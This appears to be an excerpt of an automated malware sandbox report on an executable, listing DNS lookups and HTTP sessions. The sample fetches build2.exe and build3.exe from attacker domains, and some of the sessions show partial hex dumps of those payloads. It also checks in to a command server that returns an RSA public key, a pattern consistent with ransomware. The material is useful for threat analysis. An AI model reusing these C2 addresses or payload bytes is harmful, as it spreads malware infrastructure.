Apr 24, 2024 09:16:59.299385071 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	125.7.253.10	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.299385071 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.299385071 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.299385071 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	189.61.54.32	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.299385071 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	188.52.178.41	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.299385071 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	93.118.137.82	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.299385071 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	190.28.78.114	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.299385071 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:17:02.756052017 CEST	1.1.1.1	192.168.2.6	0x9bc4	No error (0)	steamcommunity.com	96.17.209.196	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

steamcommunity.com

95.217.9.149

sdfjhuz.com

cajgtus.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49702	186.147.159.149	80	1320	C:\Users\user\Desktop\rq0mVjR9ar.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 09:16:59.295702934 CEST	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: sdfjhuz.com
Apr 24, 2024 09:17:00.202002048 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Apr 2024 07:16:59 GMT Content-Type: application/octet-stream Content-Length: 296448 Last-Modified: Tue, 23 Apr 2024 19:19:16 GMT Connection: close ETag: "662809b4-48600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 0c 25 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$oPQ#?)Uk?)nRichPELGc0`m@@0ajd@`f8@`@.text `.rdataPtv@@.data^6`@.rsrcf@`@@%
Apr 24, 2024 09:17:00.202055931 CEST	1289	IN	Data Raw: a0 01 e8 4e 02 00 00 68 09 f4 40 00 e8 3f 26 00 00 59 c3 b9 14 25 a0 01 e8 a1 02 00 00 68 ff f3 40 00 e8 29 26 00 00 59 c3 b9 00 25 a0 01 e8 f8 02 00 00 68 f5 f3 40 00 e8 13 26 00 00 59 c3 6a 00 b9 08 25 a0 01 e8 ee 00 00 00 c3 6a 00 b9 fc 24 a0 Data Ascii: Nh@?&Y%h@)&Y%h@&Yj%j$j%j%UQQQQ$!]EYY]UVEP,A^],ANUVEtV%Y^]UE]UE8
Apr 24, 2024 09:17:00.202265978 CEST	318	IN	Data Raw: 15 34 00 41 00 53 8d 85 b4 fb ff ff 50 53 ff 15 90 00 41 00 8d 45 c8 50 53 8d 45 b4 50 53 ff 15 88 00 41 00 53 53 53 53 53 53 53 ff 15 44 00 41 00 8b 45 f8 8b 0d f0 24 a0 01 2b f8 83 f9 0c 75 07 53 ff 15 80 00 41 00 8b c7 c1 e0 04 89 45 f4 8b 45 Data Ascii: 4ASPSAEPSEPSASSSSSSSDAE$+uSAEEEMUEEEEM3U3UME)ENt]MuE~_^[]V5$W=tNu_^UQeEE]UQQh^A
Apr 24, 2024 09:17:00.202389002 CEST	1289	IN	Data Raw: 45 fc 20 00 00 00 83 45 fc 20 8d 45 f8 50 ff 75 fc ff 35 f0 24 a0 01 ff 35 e0 1e a0 01 ff 15 d8 1e a0 01 8b e5 5d c3 55 8b ec b8 60 10 00 00 e8 42 6b 00 00 8b 0d f0 24 a0 01 56 57 81 f9 93 00 00 00 0f 84 90 01 00 00 a1 48 df 41 00 81 c1 4b 13 01 Data Ascii: E E EPu5$5]U`Bk$VWHAKQ3$V$\A9V<AOu$tW$8K8u6$AVPAVPEPEPEPVPV,A$G;r:=u7V
Apr 24, 2024 09:17:00.466192961 CEST	1289	IN	Data Raw: ce e8 90 00 00 00 8b c6 5e 8b e5 5d c2 04 00 55 8b ec 53 56 8b f1 8b 4d 08 57 e8 96 00 00 00 8b 5d 0c 3b c3 72 68 8b 4d 08 e8 87 00 00 00 8b f8 8b ce 2b fb 39 7d 10 0f 42 7d 10 3b 75 08 75 15 8d 04 1f 50 e8 5a 01 00 00 53 6a 00 8b ce e8 71 01 00 Data Ascii: ^]USVMW];rhM+9}B};uuPZSjq0jWt$MWPP8W_^[]TUVuYPu^]AU}Vt<~r6}SvuPVF@PSE
Apr 24, 2024 09:17:00.466733932 CEST	1289	IN	Data Raw: 59 59 85 f6 74 0c 8b 4d 0c e8 bf ff ff ff 8b 08 89 0e 5e 5d c2 08 00 55 8b ec 83 3d 94 04 41 00 00 b8 90 04 41 00 74 10 8b 4d 08 39 08 74 0d 83 c0 08 83 78 04 00 75 f3 33 c0 5d c3 8b 40 04 5d c3 55 8b ec 83 3d 3c 02 41 00 00 b8 38 02 41 00 74 10 Data Ascii: YYtM^]U=AAtM9txu3]@]U=<A8AtM9txu3]@]UVuA^]UVu,A^]UVu A^]UVu8A^]AUV
Apr 24, 2024 09:17:00.467313051 CEST	1289	IN	Data Raw: 44 8e f0 89 44 8f f0 8b 44 8e f4 89 44 8f f4 8b 44 8e f8 89 44 8f f8 8b 44 8e fc 89 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 98 25 40 00 8b ff a8 25 40 00 b0 25 40 00 bc 25 40 00 d0 25 40 00 8b 44 24 0c 5e 5f c3 90 8a 06 88 07 8b 44 24 Data Ascii: DDDDDDDD$%@%@%@%@%@D$^_D$^_FGD$^_IFGFGD$^_t1\|9u$r$4'@$&@Ir+$8&@$4'@H&@l&@&@F#G
Apr 24, 2024 09:17:00.467787981 CEST	1289	IN	Data Raw: 83 c4 0c 5d c3 55 8b ec 6a 00 ff 75 10 ff 75 0c ff 75 08 e8 a6 fe ff ff 83 c4 10 5d c3 55 8b ec 8b 45 08 85 c0 75 14 e8 8a 3f 00 00 c7 00 16 00 00 00 e8 10 3f 00 00 33 c0 5d c3 8b 40 0c 83 e0 10 5d c3 55 8b ec 8b 45 08 56 8b f1 83 66 04 00 c7 06 Data Ascii: ]Ujuuu]UEu??3]@]UEVfDAF0^]UEDAAA]UVufDAF^]DAUVW};ttw5GF_^]UVDAR
Apr 24, 2024 09:17:00.468277931 CEST	1289	IN	Data Raw: 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 b4 30 40 00 8b ff f7 d9 ff 24 8d 64 30 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 b8 2f 40 00 ff 24 8d b4 30 40 00 90 c8 2f 40 00 ec 2f 40 00 14 30 40 00 8a Data Ascii: $r$0@$d0@Ir+$/@$0@/@/@0@F#Gr$0@IF#GFGr$0@F#GFGFGV$0@Ih0@p0@x0@0@0@0@0@0@D
Apr 24, 2024 09:17:00.468817949 CEST	1289	IN	Data Raw: e4 74 1a a9 00 00 ff 00 74 0e a9 00 00 00 ff 74 02 eb cd 8d 79 ff eb 0d 8d 79 fe eb 08 8d 79 fd eb 03 8d 79 fc 8b 4c 24 0c f7 c1 03 00 00 00 74 1d 8a 11 83 c1 01 84 d2 74 66 88 17 83 c7 01 f7 c1 03 00 00 00 75 ea eb 05 89 17 83 c7 04 ba ff fe fe Data Ascii: tttyyyyL$ttfu~3tt4t'ttD$_fD$G_fD$_D$_Vjj ;YYVA55ujX^&3^jhfA<e[eu
Apr 24, 2024 09:17:00.469213009 CEST	1289	IN	Data Raw: 46 40 43 3b d9 72 f4 f7 42 0c 00 20 00 00 eb 54 53 51 ff b5 e8 ef ff ff e8 14 45 00 00 83 c4 0c 85 c0 79 05 83 c8 ff eb 5c 8b 85 ec ef ff ff b9 00 02 00 00 3b f1 77 11 f6 40 0c 08 74 0b f7 40 0c 00 04 00 00 8b f1 74 03 8b 70 18 8b 85 f0 ef ff ff Data Ascii: F@C;rB TSQEy\;w@t@tpCDtFu+u^[M3_]jh(fA7e3uu/h/%V<:YeV,Y}E7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49703	200.45.93.45	80	1320	C:\Users\user\Desktop\rq0mVjR9ar.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 09:16:59.602153063 CEST	139	OUT	GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 09:17:00.474114895 CEST	762	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 07:17:19 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 558 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 7a 7a 56 59 62 38 43 45 72 62 57 5c 2f 70 46 6b 68 4c 44 79 62 5c 5c 6e 39 49 4d 6e 4d 6a 5a 36 4c 58 7a 46 5a 38 56 45 4b 34 46 56 77 72 4b 4b 33 37 66 6d 65 71 69 6c 71 6f 34 33 66 6d 4c 50 49 47 2b 7a 67 36 41 54 70 5c 2f 31 2b 52 43 6a 57 79 42 6c 63 6d 67 52 66 5c 5c 6e 51 56 62 78 51 64 35 6b 67 6b 4a 4d 5c 2f 71 76 44 75 6f 5a 69 53 55 36 62 45 74 4f 32 47 75 6c 36 32 59 33 72 56 57 32 52 79 34 66 38 79 57 54 43 38 30 45 31 35 55 74 78 44 35 78 31 52 55 31 30 5c 5c 6e 4f 68 6a 56 4d 75 32 2b 6e 7a 76 46 34 42 42 69 54 47 4e 34 77 4f 52 2b 4b 45 62 6d 58 4a 4d 78 38 47 62 79 58 38 72 4b 70 53 56 4d 34 41 74 68 4f 44 68 66 31 4f 37 78 4f 38 4c 44 45 33 41 32 5c 5c 6e 4c 56 62 2b 66 67 58 74 6c 70 2b 4b 55 37 49 6e 4b 5c 2f 79 6b 71 67 59 47 51 4a 37 6f 74 31 54 32 78 68 62 75 69 49 32 43 79 70 59 45 6a 55 57 6a 36 72 79 49 4d 42 74 59 54 52 32 37 6b 6e 31 47 5c 5c 6e 6e 73 6c 62 31 4a 4c 37 4e 69 58 6f 43 53 45 68 62 59 78 55 71 55 76 30 68 56 75 47 31 65 5a 37 57 71 71 47 75 6d 66 37 43 4b 6a 4d 4a 58 5a 6e 4c 6f 79 4e 42 66 57 6f 6c 69 32 71 78 75 52 58 5c 5c 6e 66 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 72 36 79 78 6c 31 47 54 38 69 47 32 58 36 4a 61 4a 31 59 4e 6e 59 7a 31 39 58 6a 77 4d 5a 6e 6b 43 45 7a 56 30 34 6c 35 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzzVYb8CErbW\/pFkhLDyb\\n9IMnMjZ6LXzFZ8VEK4FVwrKK37fmeqilqo43fmLPIG+zg6ATp\/1+RCjWyBlcmgRf\\nQVbxQd5kgkJM\/qvDuoZiSU6bEtO2Gul62Y3rVW2Ry4f8yWTC80E15UtxD5x1RU10\\nOhjVMu2+nzvF4BBiTGN4wOR+KEbmXJMx8GbyX8rKpSVM4AthODhf1O7xO8LDE3A2\\nLVb+fgXtlp+KU7InK\/ykqgYGQJ7ot1T2xhbuiI2CypYEjUWj6ryIMBtYTR27kn1G\\nnslb1JL7NiXoCSEhbYxUqUv0hVuG1eZ7WqqGumf7CKjMJXZnLoyNBfWoli2qxuRX\\nfwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49704	200.45.93.45	80	5156	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 09:16:59.602333069 CEST	128	OUT	GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 09:17:00.470778942 CEST	762	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 07:17:19 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 558 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 7a 7a 56 59 62 38 43 45 72 62 57 5c 2f 70 46 6b 68 4c 44 79 62 5c 5c 6e 39 49 4d 6e 4d 6a 5a 36 4c 58 7a 46 5a 38 56 45 4b 34 46 56 77 72 4b 4b 33 37 66 6d 65 71 69 6c 71 6f 34 33 66 6d 4c 50 49 47 2b 7a 67 36 41 54 70 5c 2f 31 2b 52 43 6a 57 79 42 6c 63 6d 67 52 66 5c 5c 6e 51 56 62 78 51 64 35 6b 67 6b 4a 4d 5c 2f 71 76 44 75 6f 5a 69 53 55 36 62 45 74 4f 32 47 75 6c 36 32 59 33 72 56 57 32 52 79 34 66 38 79 57 54 43 38 30 45 31 35 55 74 78 44 35 78 31 52 55 31 30 5c 5c 6e 4f 68 6a 56 4d 75 32 2b 6e 7a 76 46 34 42 42 69 54 47 4e 34 77 4f 52 2b 4b 45 62 6d 58 4a 4d 78 38 47 62 79 58 38 72 4b 70 53 56 4d 34 41 74 68 4f 44 68 66 31 4f 37 78 4f 38 4c 44 45 33 41 32 5c 5c 6e 4c 56 62 2b 66 67 58 74 6c 70 2b 4b 55 37 49 6e 4b 5c 2f 79 6b 71 67 59 47 51 4a 37 6f 74 31 54 32 78 68 62 75 69 49 32 43 79 70 59 45 6a 55 57 6a 36 72 79 49 4d 42 74 59 54 52 32 37 6b 6e 31 47 5c 5c 6e 6e 73 6c 62 31 4a 4c 37 4e 69 58 6f 43 53 45 68 62 59 78 55 71 55 76 30 68 56 75 47 31 65 5a 37 57 71 71 47 75 6d 66 37 43 4b 6a 4d 4a 58 5a 6e 4c 6f 79 4e 42 66 57 6f 6c 69 32 71 78 75 52 58 5c 5c 6e 66 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 72 36 79 78 6c 31 47 54 38 69 47 32 58 36 4a 61 4a 31 59 4e 6e 59 7a 31 39 58 6a 77 4d 5a 6e 6b 43 45 7a 56 30 34 6c 35 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzzVYb8CErbW\/pFkhLDyb\\n9IMnMjZ6LXzFZ8VEK4FVwrKK37fmeqilqo43fmLPIG+zg6ATp\/1+RCjWyBlcmgRf\\nQVbxQd5kgkJM\/qvDuoZiSU6bEtO2Gul62Y3rVW2Ry4f8yWTC80E15UtxD5x1RU10\\nOhjVMu2+nzvF4BBiTGN4wOR+KEbmXJMx8GbyX8rKpSVM4AthODhf1O7xO8LDE3A2\\nLVb+fgXtlp+KU7InK\/ykqgYGQJ7ot1T2xhbuiI2CypYEjUWj6ryIMBtYTR27kn1G\\nnslb1JL7NiXoCSEhbYxUqUv0hVuG1eZ7WqqGumf7CKjMJXZnLoyNBfWoli2qxuRX\\nfwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49705	200.45.93.45	80	1320	C:\Users\user\Desktop\rq0mVjR9ar.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 09:17:02.599383116 CEST	96	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 09:17:03.673278093 CEST	1289	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 07:17:22 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 Last-Modified: Mon, 09 Oct 2023 19:50:06 GMT ETag: "4ae00-6074de5a4a562" Accept-Ranges: bytes Content-Length: 306688 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6krh8rh8rh88sh8l8nh8l8h8U_8{h8ri8h8l82h8l8sh8l8sh8Richrh8PELaj; @>lhd>/0@.textrhj `.data:n@.kic>\|@.rsrc/>0~@@
Apr 24, 2024 09:17:03.673419952 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 73 03 00 00 00 00 00 8c 73 03 00 9c 73 03 00 00 00 00 00 f6 6b 03 00 0c 6c 03 00 22 6c 03 00 2e 6c 03 00 48 6c 03 00 5a 6c 03 00 70 6c 03 00 86 6c 03 00 96 6c 03 00 ac 6c 03 00 c0 6c 03 00 d0 6c 03 00 ec Data Ascii: ssskl"l.lHlZlpllllllllm m4mBm^mtmmmmmmmnn&n@n\nlnnnnnnnnnoo,o@oTo`opoookooo
Apr 24, 2024 09:17:03.673433065 CEST	1289	IN	Data Raw: 53 00 6f 00 6c 00 6f 00 66 00 75 00 64 00 69 00 20 00 67 00 6f 00 78 00 6f 00 72 00 75 00 76 00 20 00 73 00 61 00 70 00 6f 00 63 00 75 00 7a 00 69 00 00 00 4e 00 69 00 6d 00 69 00 67 00 6f 00 74 00 20 00 67 00 69 00 66 00 6f 00 76 00 75 00 00 00 Data Ascii: Solofudi goxoruv sapocuziNimigot gifovuwelxolatxojiliFapejepuzeh wororuv mezumitelaMawoyujewoyosigubufozo wami xuxolesenawemo dohamefejexe
Apr 24, 2024 09:17:03.673449039 CEST	1289	IN	Data Raw: 00 2c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 61 00 6c 00 6c 00 6f 00 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 68 00 61 00 72 00 3e 00 20 00 3e 00 20 00 3e 00 20 00 3e 00 3a 00 3a 00 6f 00 70 00 65 00 72 00 61 00 74 Data Ascii: ,class std::allocator<char> > > >::operator +=("this->_Has_container()", 0)C:\Program Files (x86)\Microsoft Visual Stud
Apr 24, 2024 09:17:03.673472881 CEST	1289	IN	Data Raw: 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 62 00 61 00 73 00 69 00 63 00 5f 00 73 00 74 00 72 00 69 00 6e 00 67 00 3c 00 63 00 68 00 61 00 72 00 2c 00 73 00 74 00 72 00 75 00 63 00 74 00 Data Ascii: cator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Vector_const_iterator
Apr 24, 2024 09:17:03.673486948 CEST	1289	IN	Data Raw: 00 00 00 00 00 73 00 72 00 63 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 Data Ascii: src != NULLmemcpy_sf:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.cdst != NULLmemmove_sf:\dd\vctools\crt_bld\sel
